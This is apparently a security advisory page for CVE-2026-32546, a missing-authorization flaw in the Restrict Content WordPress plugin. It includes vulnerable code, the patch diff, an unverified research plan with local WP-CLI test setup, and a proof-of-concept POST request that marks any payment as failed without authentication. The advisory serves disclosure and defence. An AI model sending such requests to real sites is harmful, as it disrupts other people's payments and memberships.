CVE-2026-32546

Membership Plugin – Restrict Content <= 3.2.22 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
3.2.23
Patched in
8d
Time to patch

Description

The Membership Plugin – Restrict Content plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.2.22. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.2.22
PublishedMarch 20, 2026
Last updatedMarch 27, 2026
Affected pluginrestrict-content

What Changed in the Fix

Changes introduced in v3.2.23

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-32546 - Missing Authorization in Restrict Content ## 1. Vulnerability Summary The **Membership Plugin – Restrict Content** plugin (versions <= 3.2.22) contains a missing authorization vulnerability. Specifically, the AJAX action `rcp_stripe_handle_initial_payment_failure` …

Show full research plan

Research Plan: CVE-2026-32546 - Missing Authorization in Restrict Content

1. Vulnerability Summary

The Membership Plugin – Restrict Content plugin (versions <= 3.2.22) contains a missing authorization vulnerability. Specifically, the AJAX action rcp_stripe_handle_initial_payment_failure (registered for both authenticated and unauthenticated users) lacks a capability check and ownership verification. This allows an unauthenticated attacker to transition the status of any payment record to "failed" and potentially disable associated pending memberships by providing a valid payment_id.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Method: POST
  • Action: rcp_stripe_handle_initial_payment_failure (inferred from core/includes/gateways/stripe/js/register.js)
  • Parameters:
    • action: rcp_stripe_handle_initial_payment_failure
    • payment_id: The ID of the payment record to be marked as failed.
    • message: A descriptive error message (e.g., "Payment failed").
  • Authentication: Unauthenticated (wp_ajax_nopriv_ registration).
  • Preconditions: The Stripe gateway must be active, and at least one payment record (usually created during registration) must exist in the wp_rcp_payments database table.

3. Code Flow

  1. Client-Side Trigger: In core/includes/gateways/stripe/js/register.js, the function rcpStripeHandlePaymentFailure( payment_id, message ) is defined. It sends an AJAX POST request to admin-ajax.php.
  2. Request Payload: The request includes action, payment_id, and message. Notably, no nonce is included in the data object of the $.ajax call in register.js:
    $.ajax( {
        type: 'post',
        dataType: 'json',
        url: rcp_script_options.ajaxurl,
        data: {
            action: 'rcp_stripe_handle_initial_payment_failure',
            payment_id: payment_id,
            message: message
        },
        success: function ( response ) { }
    } );
    
  3. Server-Side Handler: The PHP handler for rcp_stripe_handle_initial_payment_failure (likely located in a Stripe gateway class or admin-ajax-actions.php) receives the payment_id.
  4. Processing (Vulnerable Sink): The handler retrieves the payment using the provided ID and updates its status to "failed" without verifying:
    • If the current user has the authority to update payments.
    • If the current session/user actually owns the specific payment_id.

4. Nonce Acquisition Strategy

Analysis of the source code in core/includes/gateways/stripe/js/register.js reveals that the vulnerable AJAX action does not require a nonce.

  • The $.ajax call in rcpStripeHandlePaymentFailure omits any nonce parameter.
  • While rcp_script_options is used for the ajaxurl, there is no evidence in the registration scripts that a nonce is verified for this specific failure-handling action.
  • Therefore, the exploit can be performed without obtaining a nonce.

5. Exploitation Strategy

The goal is to mark a "pending" payment as "failed" as an unauthenticated user.

  1. Step 1: Identify Target: Determine a valid payment_id. For testing purposes, we will create a membership payment and retrieve its ID via WP-CLI.
  2. Step 2: Forge Request: Send a POST request to admin-ajax.php with the vulnerable action.
  3. Step 3: Verification: Use WP-CLI to confirm the status of the payment record has changed from pending to failed.

Payload

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application-x-www-form-urlencoded

action=rcp_stripe_handle_initial_payment_failure&payment_id=[TARGET_ID]&message=Payment+timed+out

6. Test Data Setup

  1. Install and Activate: Ensure restrict-content 3.2.22 is active.
  2. Create Membership Level:
    wp rcp levels create --name="Gold" --duration=1 --duration_unit=months --price=10
    
  3. Create a Pending Payment:
    Restrict Content Pro creates a payment record when a user attempts to register. We can simulate this by inserting a record into the custom table (usually wp_rcp_payments).
    # Create a user to associate with the payment
    wp user create victim victim@example.com --role=subscriber --user_pass=password
    
    # Insert a pending payment manually to simulate an interrupted Stripe session
    # Note: Table names might vary; standard is wp_rcp_payments
    wp db query "INSERT INTO wp_rcp_payments (subscription, object_id, user_id, amount, status, date, gateway) VALUES ('Gold Membership', 1, $(wp user get victim --field=ID), '10.00', 'pending', NOW(), 'stripe');"
    
  4. Capture ID:
    TARGET_ID=$(wp db query "SELECT id FROM wp_rcp_payments ORDER BY id DESC LIMIT 1;" --silent --skip-column-names)
    echo "Created Payment ID: $TARGET_ID"
    

7. Expected Results

  • The HTTP response from admin-ajax.php should be a 200 OK or a JSON success message (e.g., {"success":true}).
  • The payment record in the database should be updated.

8. Verification Steps

After sending the POST request, verify the payment status using WP-CLI:

wp db query "SELECT status FROM wp_rcp_payments WHERE id = $TARGET_ID;" --skip-column-names

Success Condition: The query returns failed.

9. Alternative Approaches

If the rcp_stripe_handle_initial_payment_failure action is not present or patched:

  • Dismiss Notices: Check the rcp_dismissed_nonce localized in core/includes/scripts.php. If the corresponding handler for notice dismissal lacks capability checks (even if it has a nonce), an attacker who can steal the nonce (exposed on the dashboard) can dismiss critical admin alerts.
  • Batch Processing: Investigate the rcp_batch_nonce handlers. While typically admin-only, if the authorization check is missing, it could allow triggering of expensive background tasks.

However, the primary target remains the Stripe failure handler as it is explicitly intended for unauthenticated frontend use.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Membership Plugin – Restrict Content plugin is vulnerable to unauthorized payment status modification via the rcp_stripe_handle_initial_payment_failure AJAX action. Unauthenticated attackers can mark any pending payment record as failed by providing its ID, leading to the cancellation of associated memberships and disruption of the payment process.

Vulnerable Code

// core/includes/gateways/stripe/functions.php:792
function rcp_stripe_handle_initial_payment_failure() {

	$payment_id = ! empty( $_POST['payment_id'] ) ? absint( $_POST['payment_id'] ) : 0;

	if ( empty( $payment_id ) ) {
		wp_send_json_error( __( 'Missing payment ID.', 'rcp' ) );
		exit;
	}

	/**
	 * @var RCP_Payments
	 */
	global $rcp_payments_db;

	$payment = $rcp_payments_db->get_payment( $payment_id );

	if ( empty( $payment ) ) {
		wp_send_json_error( __( 'Invalid payment.', 'rcp' ) );
		exit;
	}

	$gateway = new RCP_Payment_Gateway_Stripe();

	// Set some of the expected properties.
	$gateway->payment       = $payment;
	$gateway->user_id       = $payment->user_id;
	$gateway->membership    = rcp_get_membership( absint( $payment->membership_id ) );
	$gateway->error_message = ! empty( $_POST['message'] ) ? sanitize_text_field( $_POST['message'] ) : __( 'Unknown error', 'rcp' );

	do_action( 'rcp_registration_failed', $gateway );

	/**
	 * @var RCP_Membership_Gateway_Error
	 */
	$error = new RCP_Membership_Gateway_Error( 'stripe_error', $gateway->error_message );

	do_action( 'rcp_stripe_signup_payment_failed', $error, $gateway );

	wp_send_json_success();
	exit;

}

---

// core/includes/gateways/stripe/js/register.js:18
function rcpStripeHandlePaymentFailure( payment_id, message ) {

	let $ = jQuery;

	$.ajax( {
		type: 'post',
		dataType: 'json',
		url: rcp_script_options.ajaxurl,
		data: {
			action: 'rcp_stripe_handle_initial_payment_failure',
			payment_id: payment_id,
			message: message
		},
		success: function ( response ) { }
	} );

}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/restrict-content/3.2.22/core/includes/gateways/stripe/functions.php /home/deploy/wp-safety.org/data/plugin-versions/restrict-content/3.2.23/core/includes/gateways/stripe/functions.php
--- /home/deploy/wp-safety.org/data/plugin-versions/restrict-content/3.2.22/core/includes/gateways/stripe/functions.php	2026-01-12 21:19:50.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/restrict-content/3.2.23/core/includes/gateways/stripe/functions.php	2026-02-25 21:55:04.000000000 +0000
@@ -791,11 +791,16 @@
  */
 function rcp_stripe_handle_initial_payment_failure() {
 
-	$payment_id = ! empty( $_POST['payment_id'] ) ? absint( $_POST['payment_id'] ) : 0;
+	// Verify nonce for CSRF protection.
+	$nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';
+	if ( empty( $nonce ) || ! wp_verify_nonce( $nonce, 'rcp_process_stripe_payment' ) ) {
+		wp_send_json_error( __( 'Security verification failed.', 'rcp' ) );
+	}
+
+	$payment_id = ! empty( $_POST['payment_id'] ) ? absint( wp_unslash( $_POST['payment_id'] ) ) : 0;
 
 	if ( empty( $payment_id ) ) {
 		wp_send_json_error( __( 'Missing payment ID.', 'rcp' ) );
-		exit;
 	}
 
 	/**
@@ -805,18 +810,48 @@
 
 	$payment = $rcp_payments_db->get_payment( $payment_id );
 
-	if ( empty( $payment ) ) {
+	if ( empty( $payment ) || ! is_object( $payment ) ) {
 		wp_send_json_error( __( 'Invalid payment.', 'rcp' ) );
-		exit;
 	}
 
+	// Security check: Verify user ownership of the payment.
+	$current_user_id = get_current_user_id();
+	if ( empty( $current_user_id ) || absint( $payment->user_id ) !== $current_user_id ) {
+		wp_send_json_error( __( 'You do not have permission to perform this action.', 'rcp' ) );
+	}
+
+	// Only allow marking payments as failed if they are in pending status.
+	if ( 'pending' !== strtolower( $payment->status ) ) {
+		wp_send_json_error( __( 'This payment cannot be marked as failed.', 'rcp' ) );
+	}
+
+	// Verify the membership belongs to the current user.
+	if ( ! empty( $payment->membership_id ) ) {
+		$membership = rcp_get_membership( absint( $payment->membership_id ) );
+		if ( empty( $membership ) || absint( $membership->get_customer()->get_user_id() ) !== $current_user_id ) {
+			wp_send_json_error( __( 'You do not have permission to perform this action.', 'rcp' ) );
+		}
+	}
+
+	/**
+	 * Fires before processing a payment failure.
+	 *
+	 * Can be used to implement additional security checks like rate limiting.
+	 *
+	 * @since 3.5.55
+	 
+	 * @param object $payment Payment object.
+	 * @param int    $user_id Current user ID.
+	 */
+	do_action( 'rcp_before_stripe_handle_payment_failure', $payment, $current_user_id );
+
 	$gateway = new RCP_Payment_Gateway_Stripe();
 
 	// Set some of the expected properties.
 	$gateway->payment       = $payment;
 	$gateway->user_id       = $payment->user_id;
 	$gateway->membership    = rcp_get_membership( absint( $payment->membership_id ) );
-	$gateway->error_message = ! empty( $_POST['message'] ) ? sanitize_text_field( $_POST['message'] ) : __( 'Unknown error', 'rcp' );
+	$gateway->error_message = ! empty( $_POST['message'] ) ? sanitize_text_field( wp_unslash( $_POST['message'] ) ) : __( 'Unknown error', 'rcp' );
 
 	do_action( 'rcp_registration_failed', $gateway );
 
@@ -830,7 +865,6 @@
 	do_action( 'rcp_stripe_signup_payment_failed', $error, $gateway );
 
 	wp_send_json_success();
-	exit;
 
 }
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/restrict-content/3.2.22/core/includes/gateways/stripe/js/register.js /home/deploy/wp-safety.org/data/plugin-versions/restrict-content/3.2.23/core/includes/gateways/stripe/js/register.js
--- /home/deploy/wp-safety.org/data/plugin-versions/restrict-content/3.2.22/core/includes/gateways/stripe/js/register.js	2025-12-15 16:48:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/restrict-content/3.2.23/core/includes/gateways/stripe/js/register.js	2026-02-25 21:55:04.000000000 +0000
@@ -22,7 +22,8 @@
 		data: {
 			action: 'rcp_stripe_handle_initial_payment_failure',
 			payment_id: payment_id,
-			message: message
+			message: message,
+			nonce: rcp_script_options.stripe_payment_nonce
 		},
 		success: function ( response ) { }
 	} );

Exploit Outline

To exploit this vulnerability, an attacker identifies a target payment ID in the WordPress database (e.g., a pending membership payment). The attacker then sends a POST request to the `/wp-admin/admin-ajax.php` endpoint with the `action` parameter set to `rcp_stripe_handle_initial_payment_failure`, the target `payment_id`, and a dummy `message`. Because the plugin fails to verify nonces or check if the current user owns the payment record, the server processes the request and updates the payment's status to 'failed', effectively disabling the associated membership. This action requires no authentication as the AJAX action is registered for unauthenticated users.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.